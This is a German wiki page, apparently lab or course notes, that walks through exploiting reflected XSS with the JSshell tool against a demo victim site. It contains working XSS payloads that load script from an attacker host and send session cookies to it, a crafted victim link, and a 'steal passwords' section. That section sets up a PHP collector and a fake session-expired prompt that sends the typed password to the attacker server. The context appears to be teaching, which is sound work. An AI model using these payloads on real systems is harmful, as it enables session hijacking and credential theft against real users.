Jsshell: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
| Zeile 73: | Zeile 73: | ||
==Auf Kali== | ==Auf Kali== | ||
| − | ; Apache + PHP | + | ; Apache + PHP installieren |
| − | *systemctl | + | *apt update |
| + | *apt install -y apache2 php libapache2-mod-php | ||
| + | |||
| + | ; Apache starten | ||
| + | *systemctl enable --now apache2 | ||
; Sammler anlegen | ; Sammler anlegen | ||
Version vom 19. Januar 2026, 19:06 Uhr
Vorarbeiten zum Demonstrieren
- Opfer-Browser vorbereiten ==
- about
- config
- security.mixed_content.block_active_content → false
- security.mixed_content.block_display_content → false
- security.fileuri.strict_origin_policy → false
git clone
- git clone https://github.com/shelld3v/JSshell/
- cd JSshell/
- chmod +x jsh.py
start
- ./jsh.py -g -p 5555 -s 10.0.10.101
__
|(_ _ |_ _ | |
\_|__)_> | |(/_ | |
v3.1
Payloads:
- SVG: <svg/onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//10.0.10.101:5555/?"+document.cookie},1010)>
- SCRIPT: <script>setInterval(function(){with(document)body.appendChild(createElement("script")).src="//10.0.10.101:5555/?"+document.cookie},1010)</script>
- IMG: <img src=x onerror=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//10.0.10.101:5555/?"+document.cookie},1010)>
- BODY: <body onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//10.0.10.101:5555/?"+document.cookie}></body>
Listening on [any] 5555 for incoming JS shell ...
Payload
- Payload muss ins Eingabefeld
Generierter Link
- http://opfer.secure.local/scripts/xss-reflected.php?name=%3Cscript%3EsetInterval%28function%28%29%7Bwith%28document%29body.appendChild%28createElement%28%22script%22%29%29.src%3D%22%2F%2F10.0.10.101%3A5555%2F%3F%22%2Bdocument.cookie%7D%2C1010%29%3C%2Fscript%3E#
- Generierter Link wird zum Opfer geschickt
Die Shell
Listening on [any] 5555 for incoming JS shell ... Got JS shell from [10.0.10.101] port 53146 to orville 5555 >>>
Lebenszeichen
- confirm('JSshell live')
- Erwartung
Popup erscheint im Opfer-Browser.
Seite sichtbar verändern
- document.body.style.background='red'
- Erwartung
Hintergrund der Opferseite wird rot.
Text einblenden
- document.body.innerHTML='OWNED'
- Erwartung
Opferseite zeigt nur noch OWNED.
Aktuelle URL anzeigen
- confirm(document.location.href)
- Erwartung
Popup mit der aktuell aufgerufenen Opfer-URL.
Cookie anzeigen (falls vorhanden)
- confirm(document.cookie)
- Erwartung
Popup mit Cookie-Inhalt oder leerer String.
Passwörter klauen
Auf Kali
- Apache + PHP installieren
- apt update
- apt install -y apache2 php libapache2-mod-php
- Apache starten
- systemctl enable --now apache2
- Sammler anlegen
- cat /var/www/html/recv.php
<?php
$pw = $_GET['pw'] ?? ;
$fh = fopen("CollectedSessions.txt","a");
fwrite($fh, $pw."\n");
fclose($fh);
?>
- chmod 644 /var/www/html/recv.php
- touch /var/www/html/CollectedSessions.txt
- chmod 666 /var/www/html/CollectedSessions.txt
Die Shell
Listening on [any] 5555 for incoming JS shell ... Got JS shell from [Victim-IP] port XXXXX to kali 5555 >>>
- Passwort abfragen und senden
- var p = prompt('Your session has expired. Please enter your password:',);
- new Image().src='http://10.0.10.101/recv.php?pw='+encodeURIComponent(p);
Beim Opfer
Popup erscheint, Benutzer gibt Passwort ein.
Auf Kali
- tail -f /var/www/html/CollectedSessions.txt
- Erwartung
Passwörter erscheinen zeilenweise in der Datei.